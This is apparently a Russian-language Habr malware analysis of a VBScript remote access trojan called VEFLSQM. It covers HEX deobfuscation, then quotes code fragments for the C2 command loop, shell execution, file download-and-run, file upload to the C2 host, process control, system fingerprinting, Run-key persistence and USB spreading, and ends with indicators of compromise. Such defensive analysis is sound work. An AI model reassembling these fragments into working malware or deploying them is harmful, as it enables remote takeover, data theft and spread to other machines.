Введение
На анализ поступил файл VEFLSQM. По результатам исследования он классифицирован как троян удалённого доступа (RAT).
Образец написан на VBScript и использует стандартные COM-компоненты Windows для работы с файловой системой, процессами, реестром и сетью. Основная логика скрыта за несколькими уровнями обфускации.
Первоначально файл содержит конструкции вида:
f=f&h("703D2822222222290D0A673D2876626372290D0A746578743D...")f=f&h("2E7368656C6C222670262229222667262264696D206673...")f=f&h("267026226D73786D6C322E786D6C687474702226672622...")
Здесь h() получает HEX-строку, а результат последовательно добавляется к переменной f.
После декодирования становится доступен второй уровень VBScript.
Снятие первого уровня обфускации
Для восстановления кода были извлечены все аргументы h(), содержащие HEX-данные. Далее каждый блок преобразовывался из HEX в байты и объединялся.
import refrom pathlib import Pathsrc = Path("1.vbs").read_text( encoding="utf-8", errors="ignore")chunks = re.findall( r'f\s*=\s*f\s*&\s*h\("([0-9A-Fa-f]+)"\)', src)print(f"[+] HEX blocks: {len(chunks)}")text = ''.join( bytes.fromhex(chunk).decode("latin-1") for chunk in chunks)text = text.replace("f!", "function")Path("decoded.vbs").write_text( text, encoding="utf-8")
После этого получается VBScript, в котором уже видны используемые объекты и основная логика RAT.
Важно отметить, что HEX в данном случае не является шифрованием. Это способ скрытия содержимого скрипта и усложнения поверхностного анализа.
Инициализация
Первое, что делает восстановленный скрипт, — создаёт необходимые COM-объекты:
dim shset sh = wscript.createobject("wscript.shell")dim fsset fs = createobject("scripting.filesystemobject")dim htpset htp = createobject("msxml2.xmlhttp")
Таким образом:
-
WScript.Shellиспользуется для запуска процессов и работы с реестром; -
Scripting.FileSystemObject— для работы с файлами и каталогами; -
MSXML2.XMLHTTP— для HTTP-коммуникации.
Также определяется каталог, в котором находится скрипт:
path = fs.GetParentFolderName(WScript.ScriptFullName)
После этого включается:
On Error Resume Next
что позволяет продолжать выполнение при возникновении ошибок.
Обработка аргументов
Скрипт поддерживает аргумент командной строки:
Set Arg = WScript.Argumentsif Arg.length > 0 then sh.Run "explorer /root," & ...End if
При наличии аргумента запускается explorer.exe с параметром /root, то есть открывается переданный путь.
C2 и основной цикл
После инициализации задаются параметры связи:
YUc5emRB = chrw(120)&chrw(110)&chrw(056)&...cG9ydA = Asc(chrw(200+26))YzNC = "<" & "|" & ">"sleep = 5000
Адрес C2 скрыт с помощью последовательности chrw().
Порт рассчитывается динамически:
cG9ydA = Asc(chrw(200+26))
Результат — 226.
После этого запускается основной цикл:
while true i = i + 1 If i = 4 Then install i = 0 End If response = post("is-ready","") M2R = split(response,YzNC) select case M2R(0) ... end select wscript.sleep sleepwend
Скрипт регулярно обращается к C2, получает ответ, разбирает его и выполняет соответствующую команду.
Интересная деталь — функция install вызывается не только при первоначальном запуске. Она периодически вызывается внутри основного цикла.
Система команд
Ответ C2 разделяется через собственный разделитель:
M2R = split(response,YzNC)
Первая часть ответа определяет команду:
select case M2R(0)case "excecute" param = M2R(1) execute paramcase "update" ...case "uninstall" uninstallcase "send" download M2R(1),M2R(2)case "site-send" sitedownloader M2R(1),M2R(2)case "recv" upload M2R(1)case "enum-driver" post "is-enum-driver",enumdrivercase "enum-faf" post "is-enum-faf",enumfaf(param)case "enum-process" post "is-enum-process",enumprocesscase "M2R-shell" post "is-M2R-shell",M2Rshell(param)case "delete" deletefaf(param)case "exit-process" exitprocess(param)case "sleep" sleep = eval(param)end select
Таким образом, C2 управляет практически всеми основными функциями образца.
Выполнение команд
Для выполнения команд используется функция M2Rshell():
function M2Rshell(M2R) set oexec = sh.exec("%comspec% /c " & M2R) if not oexec.stdout.atendofstream then readallfromany = oexec.stdout.readall elseif not oexec.stderr.atendofstream then readallfromany = oexec.stderr.readall else readallfromany = "" end if M2Rshell = readallfromanyend function
Команда из C2 передаётся в:
%comspec% /c <command>
После выполнения RAT читает stdout или stderr и возвращает результат оператору.
Работа с файлами
Для загрузки файла с C2 используется функция download().
objhttpdownload.open "post", _ "http://" & YUc5emRB & ":" & cG9ydA & _ "/is-sending" & YzNC & fileurl, falseobjhttpdownload.send ""
Полученное содержимое сохраняется через ADODB.Stream:
with objstreamdownload .type = 1 .open .write objhttpdownload.responsebody .savetofile strsaveto .closeend with
После сохранения файл запускается:
sh.run objfsodownload.getfile(strsaveto).shortpath
Таким образом, оператор может передать файл на заражённую машину и инициировать его запуск.
Загрузка файла с внешнего URL
Есть и второй механизм — sitedownloader().
В отличие от download(), он использует обычный HTTP GET:
objhttpdownload.open "get", strlink, falseobjhttpdownload.send
После получения ответа 200 данные записываются в файл через ADODB.Stream.
Это позволяет RAT загружать файлы не только непосредственно с C2, но и с указанного внешнего URL.
Передача файлов на C2
Обратная операция реализована функцией upload():
set objstreamuploade = createobject("adodb.stream")with objstreamuploade .type = 1 .open .loadfromfile fileurl buffer = .read .closeend with
После чтения файл отправляется:
htp.open "post", _ "http://" & YUc5emRB & ":" & cG9ydA & _ "/is-recving" & YzNC & fileurl, falsehtp.send buffer
Таким образом, реализована полноценная двусторонняя передача файлов.
Перечисление дисков
Функция enumdriver() перебирает все доступные диски:
for each drive in fs.drives if drive.isready = true then enumdriver = enumdriver & _ drive.path & "|" & _ drive.drivetype & YzNC end ifnext
Для каждого доступного диска передаются путь и тип устройства.
Результат отправляется на:
/is-enum-driver
Перечисление файловой системы
Функция enumfaf() получает содержимое указанного каталога.
Для каталогов собираются имя, тип и атрибуты:
for each folder in fs.getfolder(enumdir).subfolders ...next
Для файлов:
for each file in fs.getfolder(enumdir).files ...next
Полученная информация отправляется на:
/is-enum-faf
Таким образом, оператор может удалённо просматривать файловую систему заражённой машины.
Перечисление процессов
Для получения списка процессов используется WMI:
set objwmiservice = _ getobject("winmgmts:\\.\root\cimv2")set colitems = _ objwmiservice.execquery( _ "select * from win32_process",,48)
Для каждого процесса собираются:
enumprocess = enumprocess & objitem.name & "|"enumprocess = enumprocess & objitem.processid & "|"enumprocess = enumprocess & objitem.executablepath & YzNC
Таким образом, C2 получает:
-
имя процесса;
-
PID;
-
путь к исполняемому файлу.
Завершение процессов
Отдельная функция exitprocess() получает PID и вызывает:
sh.run "taskkill /F /T /PID " & pid, 7, true
Ключи /F и /T обеспечивают принудительное завершение процесса вместе с дочерними процессами.
Сбор информации о системе
Функция information() собирает базовые сведения о заражённом хосте:
inf = "2__" & hwid & YzNCinf = inf & sh.expandenvironmentstrings("%computername%") & YzNCinf = inf & sh.expandenvironmentstrings("%username%") & YzNC
Через WMI дополнительно получается информация об операционной системе:
set root = getobject( _ "winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")set os = root.execquery( _ "select * from win32_operatingsystem")
Также собирается информация об установленном защитном ПО.
Формирование HWID
HWID реализован отдельной функцией.
Сначала выполняется запрос:
set disks = root.execquery( _ "select * from win32_logicaldisk")
После чего используется VolumeSerialNumber:
if disk.volumeserialnumber <> "" then hwid = disk.volumeserialnumber
Таким образом, серийный номер логического диска используется в качестве идентификатора заражённого хоста.
C2-функция
Весь сетевой обмен централизован в функции post():
function post(M2R,param) post = param htp.open "post", _ "http://" & YUc5emRB & ":" & cG9ydA & _ "/" & M2R, false htp.setrequestheader "user-agent:",information htp.send param post = htp.responsetextend function
Здесь есть важная деталь: в HTTP-заголовок User-Agent передаётся information.
То есть запрос к C2 содержит сведения о заражённой системе непосредственно в HTTP-заголовке.
Persistence
Механизм закрепления реализован в upstart():
sh.regwrite _ "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & _ split(aW5zdGF,".")(0), _ "wscript.exe //B //E:vbs " & _ chrw(34) & YVc1em & aW5zdGF & chrw(34), _ "REG_SZ"
Аналогичная запись выполняется в:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
После этого исходный скрипт копируется в %APPDATA%:
fs.copyfile _ wscript.scriptfullname, _ YVc1em & aW5zdGF, _ true
Таким образом, в системе появляется установленная копия RAT, запускаемая автоматически при входе пользователя.
Проверка установленной копии
После установки выполняется сравнение текущего файла с копией:
set scriptfullnameshort = fs.getfile(wscript.scriptfullname)set installfullnameshort = fs.getfile(YVc1em & aW5zdGF)if lcase(scriptfullnameshort.shortpath) <> _ lcase(installfullnameshort.shortpath) then sh.run "wscript.exe //B //E:vbs " & _ chr(34) & YVc1em & aW5zdGF & Chr(34) wscript.quitend if
Если выполняется исходный экземпляр, он запускает установленную копию и завершает себя.
Распространение через USB
Внутри install() реализовано перебирание дисков:
for each drive in fs.drives if drive.isready = true then if drive.freespace > 0 then if drive.drivetype = 1 then fs.copyfile _ wscript.scriptfullname, _ drive.path & "\" & aW5zdGF, _ true
Для съёмного диска копируется текущий VBScript.
После этого файл получает атрибуты:
fs.getfile(...).attributes = 2+4
То есть:
2 = Hidden4 = System
Дополнительно создаются каталоги и .lnk-файлы, через которые запускается скрытый VBScript.
Таким образом, USB-носитель используется как механизм дальнейшего распространения вредоносной программы.
Обновление
Команда update позволяет заменить установленный VBScript:
oneonce.closeset oneonce = fs.opentextfile( _ YVc1em & aW5zdGF, 2, false)oneonce.write paramoneonce.close
После записи новой версии запускается обновлённый экземпляр:
sh.run "wscript.exe //B //E:vbs " & _ chr(34) & YVc1em & aW5zdGF & chr(34)wscript.quit
Таким образом, оператор может обновить код RAT без повторного заражения системы.
Самоудаление
Для удаления используется команда uninstall.
Удаление файлов и каталогов выполняется через:
fs.deletefile urlfs.deletefolder url
Дополнительно удаляются записи автозапуска и созданные .lnk-файлы.
Это позволяет оператору удалить установленный экземпляр после завершения работы.
Второй уровень обфускации
После снятия HEX-слоя сам VBScript всё ещё остаётся обфусцированным.
Код формируется как одна большая строка:
p=("""")g=(vbcr)text="dim sh "&g& _ "set sh = wscript.createobject("&p& _ "wscript.shell"&p&")"&g& ...
Используются:
-
p— хранение кавычек; -
g— хранение перевода строки; -
chrw()— формирование отдельных символов; -
конкатенация строк;
-
короткие имена переменных;
-
скрытые строковые значения.
В конце сформированный код передаётся в:
ExecuteGlobal(...)
В результате реальная логика RAT формируется непосредственно во время выполнения.
Что в итоге делает образец
После восстановления кода функциональность образца можно представить следующим образом:
VEFLSQM | v HEX-обфускация | v восстановленный VBScript | +--------------+--------------+ | | | v v v WScript.Shell FileSystemObject XMLHTTP | | | | | v | | C2 | | | +--------------+--------------+ | v команды оператора | +--------------------+--------------------+ | | | | | v v v v vcmd.exe файлы процессы сбор обновление данных | | | | +----------+----------+---------+ | +-----------+-----------+ | | v v Run keys USB | | v v persistence spreading
IOC (Indicators of Compromise):
-
MD5:
2fa0e66d8cb4872ef3c6319a3641e2e8 -
SHA-1:
fe9cff4c25aa36051ad8d038ecc79bd1ed9eb3e1 -
SHA-256:
00cc17f7380443b443de3aa92c7f9216653bdd40501aafc7185ee53e1c1b1079 -
C2-домен:
xn.n..sytes.net -
C2-порт:
226 -
C2 URL:
http://xn.n..sytes.net:226/<endpoint> -
Протокол: HTTP
-
Методы: GET, POST
-
Механизм HTTP-взаимодействия:
MSXML2.XMLHTTP -
SSDeep:
384:RIv91VF264GCNtZuCwvYVL+hrA/0o23xKP0HTZVm:Rq9N4NNHuCwvYVL+hrq0o2hKPl
Заключение
Исследованный файл VEFLSQM представляет собой VBScript Remote Access Trojan с HTTP-взаимодействием с C2.
В коде реализованы:
-
выполнение произвольных команд через
%comspec%; -
управление процессами;
-
перечисление процессов через WMI;
-
работа с файлами и каталогами;
-
загрузка файлов на заражённую систему;
-
выгрузка файлов на C2;
-
загрузка файлов с внешних URL;
-
сбор информации об ОС, пользователе и компьютере;
-
получение HWID;
-
определение установленного антивирусного ПО;
-
HTTP-коммуникация с C2;
-
persistence через
Run; -
копирование в
%APPDATA%; -
обновление собственного кода;
-
самоудаление;
-
распространение через USB;
-
скрытие вредоносных файлов атрибутами
Hidden + System.
При этом shellcode, DLL-инъекция и отдельный механизм повышения привилегий в исследованном коде не обнаружены.
Основная особенность образца — реализация полноценного RAT исключительно средствами VBScript и стандартных компонентов Windows. Несколько уровней обфускации скрывают исходную логику, однако после восстановления кода становится видно, что скрипт предоставляет оператору практически полный набор функций для удалённого управления заражённой системой.
ссылка на оригинал статьи https://habr.com/ru/articles/1071524/